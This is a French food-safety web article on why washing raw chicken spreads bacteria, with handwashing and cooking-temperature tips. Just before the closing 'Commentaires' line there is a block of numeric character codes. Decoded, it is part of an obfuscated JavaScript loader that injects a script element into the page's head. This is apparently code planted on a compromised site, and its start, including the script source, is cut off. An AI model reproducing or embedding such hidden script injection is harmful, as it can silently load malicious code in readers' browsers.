Laver Un Poulet Cru Peut Causer Une Intoxication Alimentaire - Le Saviez-Vous?


Est-ce que vous lavez le poulet avant la cuisson? Nous n'avons pas besoin d'un sondage pour avoir la réponse à cette question car la plupart d'entre nous le font.

Il existe plusieurs raisons pourquoi les gens pensent qu’ils doivent laver ou rincer le poulet avant de le cuisiner - parce que nos mamans le font, pour enlever le sang ou autres dépôts, ou simplement parce que nous pensons que c'est plus sûr ainsi. Mais ce que nous ne savons pas, c’est que le fait de laver le poulet cru peut augmenter les risques d’intoxication alimentaire.

préparation poulet cru

Une étude réalisée récemment semble corroborer cette évaluation. La recherche se portait sur 300 personnes préparant des cuisses de poulet dans une cuisine expérimentale de la même manière qu’elles le feraient à la maison. On y a constaté que ceux qui lavent ou rinçent la viande de poulet laissent des traces de bactéries tout autour de la cuisine. En simulant ce geste chez soi, vous risquez de vous rendre malades.

Les participants avaient reçu des emails sur la sécurité alimentaire, avant de venir à la cuisine expérimentale, pour voir si les instructions de ne pas laver le poulet les en empêcheraient effectivement de le faire. Cette étude incluait uniquement les personnes qui avaient pour habitude de laver le poulet avant la cuisson. Dans le cadre de l’étude, des bactéries inoffensives, qui imiteraient la salmonelle, fissent également ajoutées au poulet afin de pouvoir déterminer où elles se trouvent lors de la préparation des repas.

La majorité des participants n'ont pas lavés le poulet, comme indiqué, mais un faible pourcentage l’ont tout de même fait. Les participants qui n'avaient pas reçu les instructions ont lavé le poulet comme ils le feraient normalement et ils se sont tous retrouvés avec des bactéries dans leurs éviers même après les avoir nettoyés. Certains ont même transféré des bactéries dans la salade qu’ils préparaient alors que ceux qui ne l’avaient pas lavé ont eu aucun problème.

La contamination de la laitue était probablement due à un lavage inadéquat des mains, selon le point de vue des chercheurs. Seuls 25% des participants se sont bien lavé les mains lors de la préparation des repas et seulement 4 d'entre eux l’ont fait comme il se doit. Ce que les gens ne font pas c’est se frotter les mains avec du savon pendant au moins 20 secondes.

Lors de la préparation du poulet, il est risqué de ne pas suivre les consignes de sécurité alimentaire appropriées. Les chances d’acheter du poulet contaminé sont élevées, il est donc bon de garder cela en tête en le préparant.

poulet cru

Comment rester en sécurité

Pour vous assurer que vous soyez prudent lors de la préparation de votre poulet, suivez les étapes suivantes:

  • Lavez-vous soigneusement les mains avant de commencer à cuisiner.

Frottez-vous les mains avec du savon pendant au moins 20 secondes. Séchez-vous les mains avec un torchon propre ou une serviette en papier. Ces étapes ne sont généralement pas effectuées correctement.

  • Préparez les aliments que vous allez manger crus avant de préparer de la viande (poulet, boeuf et autres)

Préparez d'abord les légumes, salades et autres aliments qui ne nécessitent pas de cuisson, puis enlevez les de la zone de préparation pour réduire les risques de contamination.

  • Ne pas laver le poulet avant la cuisson.

Vous n’enleverez aucune bactérie pouvant causer une maladie en la lavant. Le lavage ne fera qu'augmenter le risque de contamination dans votre cuisine ou d’autres aliments que vous préparez. Si vous devez absolument nettoyer le poulet, tapotez-le simplement avec une serviette humide, puis lavez-vous les mains encore une fois.

couper le poulet

  • Lavez-vous les mains après avoir touché de la viande crue.

Nous répétons plusieurs fois le lavage de mains car c’est ce qui empêchera la propagation des bactéries dans le poulet ou toute autre viande crue.

  • Utilisez des ustensiles de cuisine désignés.

Idéalement vous ne devez pas utilisez la même planche à découper, le même couteau et la même assiette pour manipuler de la viande crue et d’autres aliments qui seront consommés crus. Toutefois si vous devez le faire, assurez-vous de bien nettoyer et de désinfecter les ustensiles avant de changer d’aliments.

  • Utilisez un thermomètre.

Le seul moyen de s'assurer que le poulet ne pose aucun danger est de le bien faire cuire - chose qu’on ne peut faire juste le regardant. Utilisez donc un thermomètre pour vous assurer d’avoir atteint la température requise pour le type de viande que vous cuisinez. Pour que le poulet soit bien cuit et dépourvu de bactéries, il doit atteindre 165 degrés. Pour le boeuf, l'agneau et le porc, la température requise est de 145 degrés.

cuisson de poulet

32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));

Commentaires